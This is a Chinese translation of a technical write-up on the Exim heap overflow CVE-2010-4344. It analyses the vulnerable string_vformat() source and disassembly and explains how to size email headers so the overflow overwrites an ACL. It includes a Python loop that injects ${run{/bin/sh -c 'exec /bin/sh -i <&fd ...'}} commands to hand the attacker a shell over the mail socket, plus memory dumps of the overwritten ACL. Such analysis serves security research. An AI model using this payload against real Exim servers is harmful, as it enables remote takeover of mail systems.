作者:Matthieu Bonetti 译者:riusksk(泉哥:http://riusksk.blogbus.com) 近期
(CVE-2010-4344)漏洞被广泛利用了,攻击者借此可远程向以Exim 作为消息传输代理的系统发动攻击,并可完全控制系统。关于这一漏洞本身其实很容易理解,但要编写出具有稳定性的exploit 则颇有难度。最初公布的稳定性exploit 是由jduck1337 编写的,其它相对不太稳定的利用代码也可以在网上找到。在这里,我们将与大家分享一些针对该漏洞利用过程中的技术细节,以帮助大家编写出更具稳定性的exploit 程序。 1.
漏洞分析 本漏洞是由”string_vformat()”函数引发,其在处理经恶意构造的emailmessage和header时,由于缺乏有效地过滤,导致缓冲区溢出的发生。Exim使用各种自定义的函数来处理字符串,此可参见”exim-4.69/src/string.c”文件中的源码。其中关于”string_vformat()”函数的工作原理如下: - 指针 "p" 指向 buffer
- 指针 "last"指向 buffer + buflen –1 1066 BOOL
1067 string_vformat(uschar *buffer, int
buflen,char *format, va_list
ap)
1068 {
1069 enum { L_NORMAL, L_SHORT, L_LONG, L_LONGLONG,L_LONGDOUBLE };
1070
1071 BOOL yield = TRUE;
1072 int width, precision;
1073 char *fp
=
format; /* Deliberately not unsigned */
1074 uschar *p
=
buffer;
1075 uschar *last
=
buffer+ buflen - 1;
1076
1077 string_datestamp_offset =-1; /* Datestamp not inserted */
然后将变量”width”和”precision”均设为-1: 1102 item_start = fp;
1103
width = precision = -1;
1104
1105 if (strchr("-+ #0", *(++fp)) !=NULL)
如果参数”format”为%s,那么它将执行以下步骤: - 首先通过 "strlen()" 计算出buffer的长度,但并非buflen值
- 如果width和 precision均为假,则将width 和 precision 设为由 "strlen()"计算得到的buffer长度 1238 case'S': /* Forces *lower* case */
1239 s = va_arg(ap, char *);
1240
1241INSERT_STRING: /* Come to from %D above */
1242 if (s == NULL) s = null;
1243
slen = Ustrlen(s);
1244
1245 /* If the width is specified, check thatthere is a precision
1246 set; if not, set it to the width to preventoverruns of long
1247 strings. */
1248
1249 if (width >= 0)
[?]
1256
1257 else if (precision >= 0)
[?]
1263
1264
else width = precision = slen;
1265
1266 /* Check string space, and add the string tothe buffer if ok.
如果”p”大于”last - width”,那么width和precision两个变量会被改变。 1267 not OK, add part of the string (debugging uses this to showas
1268 much as possible). */
1269
1270 if (p >= last - width)
1271 {
1272 yield = FALSE;
1273
width = precision = last - p - 1;
1274 }
接着precision和width会被”sprint()”函数作为参数来调用,buffer也会被填充数据进去,直至遇到NULL字节或者达到width和precision指定的限制值。 1275
sprintf(CS p, "%*.*s", width, precision, s);
1276 if (fp[-1] == 'S')
1277 while (*p) { *p = tolower(*p); p++; }
1278 else
1279 while (*p) p++;
为了帮助读者完全理解”string_vformat()”函数的工作原理,下面使用以下参数作为示例:
-string_vformat(buffer, 3, "%c %s", ap)
ap是一个包含单字符和长字符串"looooooooooong buffer"的va_list可变参数。 首先,p和last被设置为: -
p
指向位于0x08CCC965
地址的buffer
-
last
指向 0x08CCC965 + 3 - 1 =0x08CCC967 然后,开始处理”%c”,p指向的地址再加上一个char和一个空格所占用的大小:
p
= 0x08CCC965 + 2 =0x08CCC967
接着width和precision被设置为-1。然后再处理”%s”:
-
slen
设为 21 (利用strlen()).
-
当width和
precision为假时均将其设为21 last减去width新值后小于p: 0x08CCC967 - 21 = 0x08ccc952
0x08CCC967 > 0x8ccc952 变量width和precision被改变了:
width
=
precision
=
last
-
p
- 1
width
=
precision
=0x08CCC967 - 0x08CCC967 - 1
width
=
precision
= -1
当”sprintf()”函数被调用时,它就会以值均为0xFFFFFFFF的width和precision作为其参数来复制长字符串,虽然允许复制的字节大小被限制为3 ,但整个va_list中的长字符串内容都可被复制进去,这也就导致了堆溢出的发生。这一漏洞也从反汇编代码来分析,先是p和last被初始化: .text:080A99E9 mov edx,[ebp+buffer] //
p
.text:080A99EC mov eax, [ebp+buflen]
.text:080A99EF mov ecx, [ebp+format]
.text:080A99F2 mov string_datestamp_offset, 0FFFFFFFFh
.text:080A99FC mov edi, edx
.text:080A99FE lea eax, [edx+eax-1]
.text:080A9A02 mov [ebp+last],eax //
last
.text:080A9A05 sub eax, 1
.text:080A9A08 mov [ebp+src], ecx
.text:080A9A0B mov [ebp+yield], 1
.text:080A9A12 mov [ebp+last_minus_one],eax //
last-1,used later
.text:080A9A15 jmp short loc_80A9A2F
当处理%s时,它使用”strlen()”来计算va_list中字符串的长度: .text:080A9DE8 loc_80A9DE8:
.text:080A9DE8 mov [esp],ebx //
long string
.text:080A9DEB call _strlen
.text:080A9DF0 mov edx, [ebp+width]
.text:080A9DF3 test edx, edx
.text:080A9DF5 js loc_80A9F30
[?]
.text:080A9F30 loc_80A9F30:
.text:080A9F30 mov edx, [ebp+precision]
.text:080A9F33 test edx, edx
.text:080A9F35 js loc_80AA044
.text:080A9F3B mov ecx, [ebp+precision]
.text:080A9F3E cmp ecx, eax
.text:080A9F40 mov [ebp+width], ecx
.text:080A9F43 jle loc_80A9E06
.text:080A9F49 mov [ebp+width], eax
.text:080A9F4C jmp loc_80A9E06
接着比较last – width和p,并更改width和precision两个变量值: .text:080A9E06 loc_80A9E06:
.text:080A9E06 mov eax, [ebp+last]
.text:080A9E09 sub eax, [ebp+width]
.text:080A9E0C cmp edi, eax
.text:080A9E0E jb short loc_80A9E22
.text:080A9E10 mov eax, [ebp+last_minus_one]
.text:080A9E13 mov [ebp+yield], 0
.text:080A9E1A sub eax, edi
.text:080A9E1C mov [ebp+precision], eax
.text:080A9E1F mov [ebp+width], eax
函数”sprintf()”以新得的width和precision值作为其参数来调用: .text:080A9E22 loc_80A9E22:
.text:080A9E1C mov [ebp+precision], eax
.text:080A9E1F mov [ebp+width], eax
.text:080A9E28 mov [esp+10h], ebx
.text:080A9E2C mov dword ptr [esp+4], offseta_S_0 // "%*.*s"
.text:080A9E34 mov [esp+0Ch], edx
.text:080A9E38 mov [esp+8], ecx
.text:080A9E3C mov [esp], edi
.text:080A9E3F
call_sprintf
.text:080A9E44 mov ebx, [ebp+var_24]
.text:080A9E47 cmp byte ptr [ebx], 53h
.text:080A9E4A jnz short loc_80A9E5B
如上所示,函数”string_vformat()”以一个超长的字符串作为其参数,导致了可利用的堆溢出漏洞发生。为了远程利用此漏洞,攻击者可以发送一封经恶意构造的email消息,由于该邮件会被拒绝,因此接着Exim会调用”log_write()” [exim-4.69/src/log.c] 函数进行日志记录,该函数最终会调用漏洞函数” string_vformat()”,进而引发溢出。 2.
攻击方式和稳定执行恶意代码 为了利用此漏洞,攻击者必须以一个可控制的buflen和输入字符串来调用”string_vformat()”函数。一种可靠方法就是发送超大数据的邮件,当受害者接收到邮件后,Exim就会记录相关的各类错误信息,其中就包括发送人和邮件头信息。”log_write()”函数是通过以下方式来记录日志的: - 首先分配0x2000 字节大小的缓冲区,用于存储错误信息
- 再转储关于消息发送者的信息
- 最后调用”string_format()”函数来转储接收到的邮件头信息 其中函数”string_format()”仅是对”string_vformat()”函数的封装。关于发送者信息是通过以下方式进行格式化的: 转储的每个邮件头信息都是通过两个空格来做分隔的。下面是”log_write()”函数对应的反汇编代码: .text:0807CC50 log_write proc near
.text:0807CC50
.text:0807CC50 var_9C = dword ptr -9Ch
.text:0807CC50 src = dword ptr -98h
.text:0807CC50 var_94 = dword ptr -94h
.text:0807CC50 n = dword ptr -90h
[?]
.text:0807D6D8 loc_807D6D8:
.text:0807D6D8 mov dword ptr [esp],
2000h
.text:0807D6DF
call_malloc // Error message buffer is allocated
.text:0807D6E4 test eax, eax
.text:0807D6E6 mov ds:dword_80F37F0, eax
.text:0807D6EB jnz loc_807CCFE
.text:0807D6F1 mov eax, ds:stderr
[?]
.text:0807CEAA loc_807CEAA:
.text:0807CEAA lea eax, [ebp+arg_C]
.text:0807CEAD mov [esp+0Ch], eax
.text:0807CEB1 mov eax, ds:dword_80F37F0
.text:0807CEB6 mov edi, [ebp+arg_8]
.text:0807CEB9 mov [esp], esi
.text:0807CEBC add eax, 1FFFh
.text:0807CEC1 sub eax, esi
.text:0807CEC3 mov [esp+8], edi
.text:0807CEC7 mov [esp+4], eax
.text:0807CECB
callstring_vformat
// Dump "rejected from"
.text:0807CED0 test eax, eax
.text:0807CED2 jnz short loc_807CF2B
.text:0807CED4 mov dword ptr [esi], 2A2A2A2Ah
[?]
.text:0807D74C test ecx, ecx
.text:0807D74E jle loc_807DBF0
.text:0807D754 mov eax, ds:sender_address
.text:0807D759 mov dword ptr [esp+8], offset aEnvelopeFromS
//
"Envelope-from:<%s>\n"
.text:0807D761 mov [esp], esi
.text:0807D764 mov [esp+0Ch], eax
.text:0807D768 mov eax,ds:dword_80F37F0
//
Errormsg buffer
.text:0807D76D add eax, 2000h
.text:0807D772 sub eax, esi
.text:0807D774 mov [esp+4], eax ; int
.text:0807D778 call string_format
.text:0807D77D cmp byte ptr [esi], 0
.text:0807D780 jz short loc_807D794
.text:0807D782 lea esi, [esi+0]
[?]
.text:0807D799 mov ebx, [ebp+s]
.text:0807D79C mov eax, [eax]
.text:0807D79E mov dword ptr [esp+8], offsetaEnvelopeToS
//
"Envelope-to: <%s>\n"
.text:0807D7A6 mov [esp], ebx
.text:0807D7A9 mov [esp+0Ch], eax
.text:0807D7AD mov eax,ds:dword_80F37F0
//
Errormsg buffer
.text:0807D7B2 add eax, 2000h
.text:0807D7B7 sub eax, ebx
.text:0807D7B9 mov [esp+4], eax
.text:0807D7BD call string_format
.text:0807D7C2 cmp byte ptr [ebx], 0
.text:0807D7C5 jz short loc_807D7D0
[?]
.text:0807D848 loc_807D848:
.text:0807D848 mov eax, [edi+0Ch]
.text:0807D84B test eax, eax
.text:0807D84D jz short loc_807D896
.text:0807D84F mov [esp+10h], eax
.text:0807D853 mov eax, [edi+4]
.text:0807D856
movdword ptr [esp+8], aCS_1
//
"%c%s"
.text:0807D85E mov [esp], ebx ; s
.text:0807D861 mov [esp+0Ch], eax
.text:0807D865 mov eax,ds:dword_80F37F0
//
Errormsg buffer
.text:0807D86A add eax, 2000h
.text:0807D86F sub eax, ebx
.text:0807D871 mov [esp+4], eax ; int
.text:0807D875 callstring_format
//
Dump aheader
.text:0807D87A cmp byte ptr [ebx], 0
.text:0807D87D jz short loc_807D888
.text:0807D87F nop
[?]
.text:0807D888 loc_807D888:
.text:0807D888 test eax, eax
.text:0807D88A lea esi, [esi+0]
.text:0807D890 jz loc_807DC70
.text:0807D896
.text:0807D896 loc_807D896:
.text:0807D896 mov edi,[edi]
//
Is itthe last header?
.text:0807D898 test edi, edi
.text:0807D89A jnz shortloc_807D848
//
Proceed the next header
为了稳定地利用此漏洞,攻击者必须向缓冲区中填充0x2000字节,直至最后的头信息复制进buffer后还剩余3字节。这一步很关键,可以确保”p”和”last”相等(即指向同一地址)。为获取程序的稳定性,同时还要准确计算出发送的头信息总大小,这些内容包括”MAIL FROM:”头信息,主机名以及服务端支持的最大字节数,以及相关的头信息和响应数据。当处理完最后一个头信息后,就可触发缓冲区溢出,在0x2000字节大小的buffer之后的内存空间都会被最后的头信息所覆盖。在缓冲区0x2000字节之后,我们可以看到一些访问控制列表(ACL): -0x09C1C92E地址上存放着倒数第二个header信息
- 0x09C1CA0E地址上存放着ACL 09C1C91E41 41 41 41 41 41 41 41 0A 20 20 30 30 30 30 30 AAAAAAAA. 00000
09C1C92E 30 30 30 36 32 3A 20 41 41 41 41 41 41 4141 41 00062: AAAAAAAAA
09C1C93E 41 41 41 41 41 41 41 41 41 41 41 41 41 4141 41 AAAAAAAAAAAAAAAA
09C1C94E 41 41 41 41 41 41 41 41 41 41 41 41 41 4141 41 AAAAAAAAAAAAAAAA
09C1C95E 41 41 41 41 41 41 0A 00 00 00 00 00 00 0009 40 AAAAAA.........@
09C1C96E 00 00 61 40 61 2E 63 6F 6D 00 72 20 6D 6573 73 ..a@a.com.r mess
09C1C97E 61 67 65 2C 20 65 6E 64 69 6E 67 20 77 6974 68 age, ending with
09C1C98E 20 22 2E 22 20 6F 6E 20 61 20 6C 69 6E 6520 62 "." on a line b
09C1C99E 79 20 69 74 73 65 6C 66 0D 0A 00 39 3A 3437 3A y itself...9:47:
09C1C9AE 31 39 20 2D 30 35 30 30 0D 0A 00 75 65 7D66 61 19 -0500...ue}fa
09C1C9BE 69 6C 7D 7D 7B 5C 5C 4E 5B 5C 5C 5E 5D 5C5C 4E il}}{\\N[\\^]\\N
09C1C9CE 7D 7B 5E 5E 7D 7D 7D 7B 5C 5C 4E 28 5B 5E3A 5D }{^^}}}{\\N([^:]
09C1C9DE 2B 3A 29 28 2E 2A 29 5C 5C 4E 7D 7B 5C 5C24 32 +:)(.*)\\N}{\\$2
09C1C9EE 7D 7D 22 0A 00 5C 5C 5E 5D 5C 5C 4E 7D 7B5E 5E }}"..\\^]\\N}{^^
09C1C9FE 7D 7D 7D 7B 7D 7D 7D 7B 7D 66 61 69 6C 7D3B 20 }}}{}}}{}fail};
09C1CA0E 24 7B 65 78 74 72 61 63 74 7B 31 7D 7B 3A3A 7D ${extract{1}{::}
09C1CA1E 7B 24 7B 73 67 7B 24 7B 6C 6F 6F 6B 75 707B 24 {${sg{${lookup{$
09C1CA2E 68 6F 73 74 7D 6E 77 69 6C 64 6C 73 65 6172 63 host}nwildlsearc
09C1CA3E 68 7B 2F 65 74 63 2F 65 78 69 6D 34 2F 7061 73 h{/etc/exim4/pas
例如当检测发送者地址时就会用到ACL,通过ACL可用来执行命令,比如:${run{command}}。在Linux中,当一个进程创建子进程时,打开的文件描述符会被复制给子进程。因此每当ACL命令被执行时,socket文件描述符会被子进程重新使用。因此这个很容易利用暴力方式来得到此描述符,并作为stdin来使用。 for fd in range(3, 20):
cmd += "${{run{{/bin/sh -c 'exec /bin/sh -i <&{0} >&02>&0'}}}} ".format(fd)
溢出后,ACL被覆盖为: - 地址0x09C1C92E 存放着倒数第二个header信息
-地址0x09C1C95E 存放着最后一个header信息
-地址0x09C1CA0E 被ACL覆盖掉 09C1C91E41 41 41 41 41 41 41 41 0A 20 20 30 30 30 30 30 AAAAAAAA. 00000
09C1C92E 30 30 30 36 32 3A 20 41 41 41 41 41 41 4141 41 00062: AAAAAAAAA
09C1C93E 41 41 41 41 41 41 41 41 41 41 41 41 41 4141 41 AAAAAAAAAAAAAAAA
09C1C94E 41 41 41 41 41 41 41 41 41 41 41 41 41 4141 41 AAAAAAAAAAAAAAAA
09C1C95E 41 41 41 41 41 41 0A 20 20 30 30 30 30 3030 30 AAAAAA. 0000000
09C1C96E 30 36 33 3A 20 24 7B 72 75 6E 7B 2F 62 696E 2F 063: ${run{/bin/
09C1C97E 73 68 20 2D 63 20 27 65 78 65 63 20 2F 6269 6E
sh -c 'exec /bin
09C1C98E 2F 73 68 20 2D 69 20 3C 26 33 20 3E 26 3020 32
/sh -i <&3 >&0 2
09C1C99E 3E 26 30 27 7D 7D 20 24 7B 72 75 6E 7B 2F62 69
>&0'}} ${run{/bi
09C1C9AE 6E 2F 73 68 20 2D 63 20 27 65 78 65 63 202F 62 n/sh -c 'exec /b
09C1C9BE 69 6E 2F 73 68 20 2D 69 20 3C 26 34 20 3E26 30 in/sh -i <&4 >&0
09C1C9CE 20 32 3E 26 30 27 7D 7D 20 24 7B 72 75 6E7B 2F 2>&0'}} ${run{/
09C1C9DE 62 69 6E 2F 73 68 20 2D 63 20 27 65 78 6563 20 bin/sh -c 'exec_
09C1C9EE 2F 62 69 6E 2F 73 68 20 2D 69 20 3C 26 3520 3E /bin/sh -i <&5 >
09C1C9FE 26 30 20 32 3E 26 30 27 7D 7D 20 24 7B 7275 6E &0 2>&0'}} ${run
09C1CA0E 7B 2F 62 69 6E 2F 73 68 20 2D 63 20 27 6578 65 {/bin/sh -c 'exe
09C1CA1E 63 20 2F 62 69 6E 2F 73 68 20 2D 69 20 3C26 36 c /bin/sh -i <&6
09C1CA2E 20 3E 26 30 20 32 3E 26 30 27 7D 7D 20 247B 72 >&0 2>&0'}} ${r
09C1CA3E 75 6E 7B 2F 62 69 6E 2F 73 68 20 2D 63 2027 65 un{/bin/sh -c 'e
|